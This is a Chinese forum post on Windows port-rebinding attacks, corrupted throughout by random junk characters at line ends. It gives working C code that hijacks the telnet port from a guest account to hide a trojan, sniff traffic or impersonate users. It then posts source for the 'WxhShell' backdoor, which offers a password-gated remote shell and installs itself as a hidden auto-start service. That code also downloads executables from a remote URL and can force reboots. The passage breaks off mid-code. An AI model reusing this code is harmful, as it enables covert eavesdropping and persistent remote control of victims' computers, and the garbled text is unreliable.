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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }Q`/K;yq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t *o7,  
_n< LVd E  
  saddr.sin_family = AF_INET; >lA7*nn  
?D1x;i9<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! (B_EM  
!aQIh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d>^~9X  
8BHL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F`fGz)Mk  
,"@w>WL<9  
  这意味着什么?意味着可以进行如下的攻击: Vn)%C_-]A  
i%xI9BO9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MP jr_yc]  
IgLVn<5n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nped  
lN);~|IOv7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?$<SCN =  
d-hbvLn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XXXl jh6  
s0gJ f[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <Cu'!h_nL  
;JAK[o8i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vAi"$e  
NV:>a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mx^y>\X)v  
ktN%!Mh\  
  #include kclp}  
  #include t G]N*%@  
  #include d0'7efC+  
  #include    0o;k?4aP.c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]9fS@SHdx  
  int main() <"N:rn{Qq  
  { ~q{\;  
  WORD wVersionRequested; !K!)S^^Po?  
  DWORD ret; SxMxe,.|  
  WSADATA wsaData; DD2adu^  
  BOOL val; o(:{InpV%A  
  SOCKADDR_IN saddr; !{ $qMhT  
  SOCKADDR_IN scaddr; )y6QAp  
  int err; :}^Rs9 '  
  SOCKET s; GNs#oM  
  SOCKET sc; dI!8S  
  int caddsize; w"q-#,37j  
  HANDLE mt; +IvNyj|  
  DWORD tid;   6@&fvf  
  wVersionRequested = MAKEWORD( 2, 2 ); n.@#rBKZ  
  err = WSAStartup( wVersionRequested, &wsaData ); aZP 2R"  
  if ( err != 0 ) { kl| g  
  printf("error!WSAStartup failed!\n"); 3 *G5F}7%=  
  return -1; jz|VF,l  
  } Cm^Yl p  
  saddr.sin_family = AF_INET; 2>g^4(  
   7@JjjV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vxb@9 eb!H  
ol50d73B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); : -E,   
  saddr.sin_port = htons(23); wc"9A~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SK?I.  
  { iM8sX B  
  printf("error!socket failed!\n"); Hyf"iYv+  
  return -1; 3b e6p  
  } RZ*<n$#6  
  val = TRUE; #?_#!T|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nQ|GqU\oA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?fB5t;~E  
  { K6-6{vt  
  printf("error!setsockopt failed!\n"); FzVZs# O  
  return -1; !-7_ +v>  
  } \]t]#D>0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x9h?e`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;r3}g"D@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )Q~C4C-j  
~H7!MC~K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H*GlWgfG  
  { : g 5(HH  
  ret=GetLastError(); N=q#y@L  
  printf("error!bind failed!\n"); uN8/Q2   
  return -1; { E^U6@  
  } rjXnDh]MC  
  listen(s,2); *u}'}jC1X  
  while(1) '|_/lz$h  
  { 5lGQ#r  
  caddsize = sizeof(scaddr); 7"#f!.E  
  //接受连接请求 B4IBuS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,'u*ZB;  
  if(sc!=INVALID_SOCKET) W-1sU g[AN  
  { ubi~%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5 5^tfu   
  if(mt==NULL) w;~>k%}j  
  { r|<6Aae&  
  printf("Thread Creat Failed!\n"); r5[4h'f  
  break; 6s5yyy=L%~  
  } +^Fp&K+^  
  } X PA 0m  
  CloseHandle(mt); Z/gsCYS3F  
  } BGN9, ii  
  closesocket(s); G?R_aPP  
  WSACleanup(); ,[Ag~.T  
  return 0; 1& |  
  }   EsTB(9c?  
  DWORD WINAPI ClientThread(LPVOID lpParam) mzz$`M 1  
  { f9a$$nb3`  
  SOCKET ss = (SOCKET)lpParam; >otJF3zw   
  SOCKET sc; ?.Q3 pUT  
  unsigned char buf[4096]; iKhH^V%j  
  SOCKADDR_IN saddr; *Z; r B  
  long num; HAd%k$Xu{  
  DWORD val; G0Hs,B@5?  
  DWORD ret; 1 =^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?,>5[Ha^?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S@Iw;V  
  saddr.sin_family = AF_INET; "oe!M'aj`1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @7%.7LK  
  saddr.sin_port = htons(23); bJwc1AJgH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `0rRKlbj4  
  { hXc}r6<B  
  printf("error!socket failed!\n"); AX;c}0g  
  return -1; '$?du~L-  
  } }3J=DCtS  
  val = 100; eIJ[0c b}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eVx~n(m!}  
  { Y.NE^Vn0  
  ret = GetLastError(); 6A?8tm/0  
  return -1; F\-Si!~oOz  
  } lov%V*tL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hl<y4y&|  
  { r%|A$=[Q  
  ret = GetLastError(); 7E\g &R.  
  return -1; O@wK[(w^  
  } \2>3Opt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kM;o0wi  
  { ('JKN"3  
  printf("error!socket connect failed!\n"); zqf[Z3  
  closesocket(sc); o,*=$/or  
  closesocket(ss); +?Ez} BP  
  return -1; m8+:=0|$  
  } 8SZK:VE@  
  while(1) `;cz;"  
  { :3O5ET'1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eF5;[v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^BiP LQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n]iyFZ`9  
  num = recv(ss,buf,4096,0); %J!NL0x_  
  if(num>0) ~)?|J  
  send(sc,buf,num,0); nmg{%P  
  else if(num==0) c]NN'9G!{  
  break; 0m A(:"  
  num = recv(sc,buf,4096,0); , D"]y~~I5  
  if(num>0) WqQU@sA  
  send(ss,buf,num,0); #w|5 jN?  
  else if(num==0) dlR_ckp  
  break; }LQC.!  
  } qnXTNs ?b  
  closesocket(ss); {m[Wyb(  
  closesocket(sc); n}q$f|4!  
  return 0 ; 0X>T+A[E  
  } uY]0dyI  
|'$ l7  
TF2KZL#A|  
========================================================== ve fU'  
0>FE%  
下边附上一个代码,,WXhSHELL Y{+3}drJE  
*)D1!R<\,R  
========================================================== ?Oc -aa  
kP^*h O!%  
#include "stdafx.h" \=fh-c(J,  
q:]Q% IC^  
#include <stdio.h> OaaH$B  
#include <string.h> qrE0H  
#include <windows.h> !i Jipe5  
#include <winsock2.h> )4m_A p\  
#include <winsvc.h> .&|L|q}  
#include <urlmon.h> WFDCPQ@  
"V}qf3 qU  
#pragma comment (lib, "Ws2_32.lib") J@Yj\9U  
#pragma comment (lib, "urlmon.lib") 4K7{f+T  
#&BS ?@  
#define MAX_USER   100 // 最大客户端连接数 niz'b]] +  
#define BUF_SOCK   200 // sock buffer wE6A 7\k%  
#define KEY_BUFF   255 // 输入 buffer #xp(B5  
oKa>.e7.  
#define REBOOT     0   // 重启 g "*;nHI D  
#define SHUTDOWN   1   // 关机 H=<LutnZ  
F#|Z# Mu  
#define DEF_PORT   5000 // 监听端口 mNDuwDd$S  
1tGgDbJU  
#define REG_LEN     16   // 注册表键长度 b-%l-u  
#define SVC_LEN     80   // NT服务名长度 f^e&hyC   
8,*3zVk-  
// 从dll定义API Q0>q:aj\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -?fR|[\[U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t!qwxX*$T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IaasHo\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Es qQz*$u  
S{:Cu}o  
// wxhshell配置信息 ^P$7A]!  
struct WSCFG { moG~S]  
  int ws_port;         // 监听端口 !\x?R6K  
  char ws_passstr[REG_LEN]; // 口令 "~\*If  
  int ws_autoins;       // 安装标记, 1=yes 0=no N RSU+D-z  
  char ws_regname[REG_LEN]; // 注册表键名 ~kb{K;  
  char ws_svcname[REG_LEN]; // 服务名 Uk'U?9O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vpLMhf`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R=$Ls6z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qxq-Mpx{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [r9d<Zi}{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nzuF]vo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  zy>}L #  
.8H}Lf\  
}; (0C&z/  
8xTix1u0  
// default Wxhshell configuration vYnftJK&  
struct WSCFG wscfg={DEF_PORT, V^rW?Do  
    "xuhuanlingzhe", BY( eV!  
    1, 9)lZyE}   
    "Wxhshell", uJ8{HB  
    "Wxhshell", -J?~U2  
            "WxhShell Service", D=&K&6rr  
    "Wrsky Windows CmdShell Service", ?,XC =}  
    "Please Input Your Password: ", 9@y3IiZ"}  
  1, 2w4MJ,Uw  
  "http://www.wrsky.com/wxhshell.exe", ri+U0[e3  
  "Wxhshell.exe" <L&eh&4c  
    }; F,pCR7o>  
; k}H(QI  
// 消息定义模块 88o:NJ}_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c<jB6|.=2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _tWE8 r,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GV6mzD@ <  
char *msg_ws_ext="\n\rExit."; E474l  
char *msg_ws_end="\n\rQuit."; v8'5pLt"  
char *msg_ws_boot="\n\rReboot..."; >S.91!x  
char *msg_ws_poff="\n\rShutdown..."; =x H~ww (D  
char *msg_ws_down="\n\rSave to "; 6N3@!xtpi  
*Hunp Y  
char *msg_ws_err="\n\rErr!"; \ja `c)x  
char *msg_ws_ok="\n\rOK!"; o;QZe&  
SdI1}&  
char ExeFile[MAX_PATH]; -9-fX(I  
int nUser = 0; >FF1)~  
HANDLE handles[MAX_USER]; L_?$ayZ;  
int OsIsNt; jVYH;B%%z  
w+_Wc~f  
SERVICE_STATUS       serviceStatus; g^j7@dum  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Funj!x'uE  
a D|Yo  
// 函数声明 HcO5?{2  
int Install(void); p;`N\.ld  
int Uninstall(void); ' ^a!`"Bc  
int DownloadFile(char *sURL, SOCKET wsh); ;rHz;]si  
int Boot(int flag); m[8 @Unt  
void HideProc(void); /aOlYqM(>  
int GetOsVer(void); SRf5W'4y  
int Wxhshell(SOCKET wsl); H\+-cvl  
void TalkWithClient(void *cs); !01i%W'  
int CmdShell(SOCKET sock); h8.FX-0& =  
int StartFromService(void); eP= j.$  
int StartWxhshell(LPSTR lpCmdLine); _}ele+  
{D,RU8&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l%<c6;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E}$V2ha0zu  
Z,aGtJ.a'9  
// 数据结构和表定义 %U?)?iZdL  
SERVICE_TABLE_ENTRY DispatchTable[] = 7\%$>< K  
{ ]o*$h$?s  
{wscfg.ws_svcname, NTServiceMain}, )4ncutb  
{NULL, NULL} C Z tiWZ  
}; ,q</@}.\wN  
v#Upw\!  
// 自我安装 nh;y:Bi  
int Install(void) #r}uin*jD  
{ kzi|$Gs<  
  char svExeFile[MAX_PATH]; Fu##'#  
  HKEY key; j38 6gL  
  strcpy(svExeFile,ExeFile); yjpz_<7a=  
f_'"KF[%  
// 如果是win9x系统,修改注册表设为自启动 yVYkuO  
if(!OsIsNt) { >76 |:Nq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0b++ 17aV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5hz_P+Q  
  RegCloseKey(key); P` ]ps?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8\_*1h40s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qTy v.#{y  
  RegCloseKey(key); KPggDKS  
  return 0; +WL  D  
    } $5L(gn[  
  } 'tuBuYD\  
} ^c'f<<z|7r  
else { $W,zO|-  
7d9Z/J@>  
// 如果是NT以上系统,安装为系统服务 (hsZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VIg\]%qse  
if (schSCManager!=0) E9R]sXf8  
{ hS_.l}0yf  
  SC_HANDLE schService = CreateService iT$d;5_pU  
  ( vZk9gGjk  
  schSCManager, `^e*T'UPl  
  wscfg.ws_svcname, Wr#~GFg  
  wscfg.ws_svcdisp, ?(Bl~?zD  
  SERVICE_ALL_ACCESS, eJaUmK:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9b%j.Q-W  
  SERVICE_AUTO_START, I>hmbBlDv  
  SERVICE_ERROR_NORMAL, PUKVn+h  
  svExeFile, A:)sg!Lt  
  NULL, ;@4sd%L8V  
  NULL, UN(3i(d  
  NULL, A^L?_\e6  
  NULL, e^WqJ7j  
  NULL 5L3{w+V  
  ); +f]u5p[  
  if (schService!=0) qK-qcPLsl  
  { L!vWRwZwC  
  CloseServiceHandle(schService); W0?JVtq0Z  
  CloseServiceHandle(schSCManager); |*1xrM:v~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r\RFDj  
  strcat(svExeFile,wscfg.ws_svcname); >#?iO]).  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Om6Mmoqh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); niAZ$w  
  RegCloseKey(key); WKOI\  
  return 0; c/RT0xql*  
    } eA&t %  
  } z}3di5+P  
  CloseServiceHandle(schSCManager); ^XNw$@&',  
} `#p< rfe  
} z L8J`W  
X2{`l8%Ek  
return 1; QA,*:qx  
} P eHW[\)  
 +Lhe,  
// 自我卸载 PJ;.31u  
int Uninstall(void) W1`Dx(g  
{ B'#4;R!8P=  
  HKEY key; pJocI_v9  
->3uOF!q  
if(!OsIsNt) { T+(M8 qb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +K&?)?/=  
  RegDeleteValue(key,wscfg.ws_regname); ;t~*F#p(!  
  RegCloseKey(key); [9J:bD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $':JI#  
  RegDeleteValue(key,wscfg.ws_regname); sX!3_ '-  
  RegCloseKey(key); G ~A$jStm  
  return 0; }pK v.  
  } >~^`5a`$uI  
} XJ O[[G`  
} nfa_8  
else { '(TmV#3  
[\a:4vDAbi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cB<O.@  
if (schSCManager!=0) ]2PQ X4t 0  
{ eX@ v7i,}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jQ)L pjS1  
  if (schService!=0) U Q)!|@&  
  { R~$hWu}}  
  if(DeleteService(schService)!=0) { HS(U4   
  CloseServiceHandle(schService); F:S"gRKz  
  CloseServiceHandle(schSCManager); G"{4'LlA  
  return 0; \Vz,wy%-  
  } 2'Y{FY_Z  
  CloseServiceHandle(schService); PY2[ S[  
  } dK`(BA{`3  
  CloseServiceHandle(schSCManager); {N "*olx  
} }|SIHz!R  
} 9QC< E|  
9@Q&B+!  
return 1; 1*L^^% w  
} 27Cz1[oX  
D$QGLI9(  
// 从指定url下载文件 3Fgz)*Gu]  
int DownloadFile(char *sURL, SOCKET wsh) )U]:9)   
{ qg|Ox*_od"  
  HRESULT hr; [A|(A$jl  
char seps[]= "/"; 4`$5 _} j!  
char *token; 4Q@\h=r  
char *file; b'&LBT7  
char myURL[MAX_PATH]; nT#37v  
char myFILE[MAX_PATH]; &yB%QX{3  
s:3aRQ%  
strcpy(myURL,sURL); g%ZdIKj!  
  token=strtok(myURL,seps); Bj; [  
  while(token!=NULL) (x}A_ i  
  { .l7j8 }  
    file=token; /9P^{ OZ;y  
  token=strtok(NULL,seps); A 0 S8Dh$  
  } 8~;{xYN )  
7,f:Qi@g  
GetCurrentDirectory(MAX_PATH,myFILE); PBCb0[\  
strcat(myFILE, "\\"); YXgWH'i~  
strcat(myFILE, file); tc"T}huypU  
  send(wsh,myFILE,strlen(myFILE),0); )ni"qv~J  
send(wsh,"...",3,0); u IAZo;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kq$:\B)<c  
  if(hr==S_OK) cD5w| rm?i  
return 0; ES^NBI j5P  
else E N)YoVk  
return 1; KuIkul9^%  
93 [rL+l.Y  
} h>~jQ&\M  
Fs?( UM  
// 系统电源模块 nT_*EC<.  
int Boot(int flag) F ~*zC`>Y  
{ p@vpd  
  HANDLE hToken; =sxkrih  
  TOKEN_PRIVILEGES tkp; J 0&zb'1  
Tc9&mKVE%(  
  if(OsIsNt) { ,?Ok[G!cm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TFNUv<>X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j[_t6Z  
    tkp.PrivilegeCount = 1; )uANmThOz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _MGNKA6JI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C(f$!~M4b  
if(flag==REBOOT) { _c[|@D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mp!YNI  
  return 0; 3Wjq>\  
} km9Gwg/zT  
else { 5BrU'NF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lq~Gc M  
  return 0; B.V?s,U  
} f#*h^91x  
  } f;e_04K  
  else { :x8Jy4L  
if(flag==REBOOT) { =g/4{IL%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :8](&B68gE  
  return 0; @m5O{[euj<  
} (}9cD^F0n  
else { ^!q 08`0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eVJ= .?r  
  return 0; NKRaQ r  
} c'"#q)  
} ,jAx%]@,I  
yb[{aL^4%  
return 1; SCgyp(  
} _2NN 1/F5  
,.~ W  
// win9x进程隐藏模块  C/SapX  
void HideProc(void) sGXp}{E9  
{ f1)HHUB  
es. jh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E~'q?LJOB  
  if ( hKernel != NULL ) 1, m\Q_  
  { kJHr&=VO~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U* -% M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ` 2Wl  
    FreeLibrary(hKernel); >.a+:   
  } <E D8"~_  
O]c=Yyl  
return; co \[{}}  
} "2*G$\  
qlz( W  
// 获取操作系统版本 <FCj)CP%  
int GetOsVer(void) kA?X^nj@  
{ Ll008.#  
  OSVERSIONINFO winfo; r~8D\_=s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N!tpzHXw  
  GetVersionEx(&winfo); jjJc1p0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $KoPGgC[  
  return 1; lc\>DH\n6  
  else ;n% ]*v  
  return 0; TX< e_[$\  
} t#fs:A7P?}  
Xg|8".B)A  
// 客户端句柄模块 17J}uXA   
int Wxhshell(SOCKET wsl) 2z'+1+B'  
{ %4bO_vb<9  
  SOCKET wsh; LXBbz;vYl  
  struct sockaddr_in client; vF5wA-3&t  
  DWORD myID; 8 m%>:}o  
yd7lcb [  
  while(nUser<MAX_USER) p:DL:^zx  
{ nAQyxP%  
  int nSize=sizeof(client); 3!i. Fmo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gg 7Wm L  
  if(wsh==INVALID_SOCKET) return 1; jA20c(O  
y0/WA4,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lcu("^{3  
if(handles[nUser]==0) FQ ;4'B^k]  
  closesocket(wsh); <dju6k7uz  
else ;cM8EU^.  
  nUser++; 1x~%Ydy  
  } 7P3 <o!YA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KzEuPJ?  
>2l13^Y  
  return 0; l.__10{  
} g*:ae;GP  
Q'n(^tbL  
// 关闭 socket 4+ASw N9  
void CloseIt(SOCKET wsh) @4 zi]v  
{ I-RdAVB/Ep  
closesocket(wsh); D6&mf2'u  
nUser--; pFpQ\xc9$  
ExitThread(0); OaD Alrm  
} #6Efev  
_n-VgPRn  
// 客户端请求句柄 3q~":bpAp  
void TalkWithClient(void *cs) P!`Q_h6a  
{ ({;P#qCX  
6vD]@AF  
  SOCKET wsh=(SOCKET)cs; QU-7Ch#8  
  char pwd[SVC_LEN]; %NF<bEV  
  char cmd[KEY_BUFF]; w Mlf3Uz  
char chr[1]; !Z<mrr;T@  
int i,j; X_lUD?y  
O ,F]\  
  while (nUser < MAX_USER) { { ()p%#*  
t,--V|7-  
if(wscfg.ws_passstr) { jMm_A#V>p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N<#S3B?.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J~_L4* Jw  
  //ZeroMemory(pwd,KEY_BUFF); nUI63?  
      i=0; t*Z .e.q+  
  while(i<SVC_LEN) { kPx]u\  
@+0@BO1 2  
  // 设置超时 fZka%[B  
  fd_set FdRead; Wo:zU  
  struct timeval TimeOut; otmIu`h  
  FD_ZERO(&FdRead); !SLP8|Cd  
  FD_SET(wsh,&FdRead); C:'WX*W  
  TimeOut.tv_sec=8; ]p4`7@@)*  
  TimeOut.tv_usec=0; #}[Sj-Vp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^%K1R;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;,F-6RNj  
8]cv&d1f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A%NK0j$;}  
  pwd=chr[0]; 1M%{Uqsd-  
  if(chr[0]==0xd || chr[0]==0xa) { G"T;l"TAt8  
  pwd=0; ,\sR;=svK  
  break; w6WGFQ_%  
  } W%Y.SP$Y  
  i++; H{ n>KZ]\  
    } .c=$ bQ>^  
u%+6Mp[E  
  // 如果是非法用户,关闭 socket jQ.>2-;H9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "VT{1(]t  
} 5t"bCzp  
X7XCZSh#A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zer&`Vr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m6~ sKJV  
?MV[=LPL  
while(1) { \j2 : 6]Hm  
ct2_N  
  ZeroMemory(cmd,KEY_BUFF); "v\ bMuS  
x[GFX8h(k6  
      // 自动支持客户端 telnet标准   `@f hge  
  j=0; hQg,#r(JE4  
  while(j<KEY_BUFF) { C&gOA8nf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b:}wR*Adc  
  cmd[j]=chr[0]; bik] JIM  
  if(chr[0]==0xa || chr[0]==0xd) { dU sJv  
  cmd[j]=0; /?.r!Cp  
  break; JqVBT+:  
  } _H^^2#wc/  
  j++; HobGl0<y  
    } N[+o[%A  
z. _C*c  
  // 下载文件 ?{@!!te@3v  
  if(strstr(cmd,"http://")) { i#@v_^q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gqO%^b)6  
  if(DownloadFile(cmd,wsh)) b.mjQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TRr4`y%  
  else zn2"swhq\V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+A1 V[  
  } + ,vJ7  
  else { F?RCaj  
YobC'c\~9  
    switch(cmd[0]) { M/8#&RycQ  
  ,%)WT>  
  // 帮助 &;NNU T>Q  
  case '?': { ((RpT0rP\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #whO2Mv  
    break; &dZ.+#8r  
  } y]E)2:B[d  
  // 安装 UijuJ(Tle  
  case 'i': { !~|"LA!jn  
    if(Install()) 9AVK_   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sg_-OX@f  
    else ~$y#(YbH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -tK;RQYax  
    break; $ sA~p_]  
    } K d`l[56#  
  // 卸载 +e\:C~2f28  
  case 'r': { Q?Bj q>  
    if(Uninstall()) G(7\<x:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3TBRn,  
    else FM;;x(sg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0f=N3)  
    break; j-I6QUd  
    } 4Rrw8Bw  
  // 显示 wxhshell 所在路径 =CG!"&T  
  case 'p': { \K_!d]I {  
    char svExeFile[MAX_PATH]; 5x1%oC  
    strcpy(svExeFile,"\n\r"); JX2 |  
      strcat(svExeFile,ExeFile); b]so9aCz  
        send(wsh,svExeFile,strlen(svExeFile),0); +X%fcoc  
    break; fUL{c,7xda  
    } U"%8"G0)  
  // 重启 -pU\"$nuxH  
  case 'b': { psyH?&T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0+2Matk>.  
    if(Boot(REBOOT)) "u,~yxYWl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5EV8zf  
    else { qs8K jG@  
    closesocket(wsh); &23ss/  
    ExitThread(0); COkLn)+0  
    } eLt Cxe  
    break; 1CS]~1Yp:  
    } PTI'N%W  
  // 关机 vU \w3  
  case 'd': { AP?{N:+  
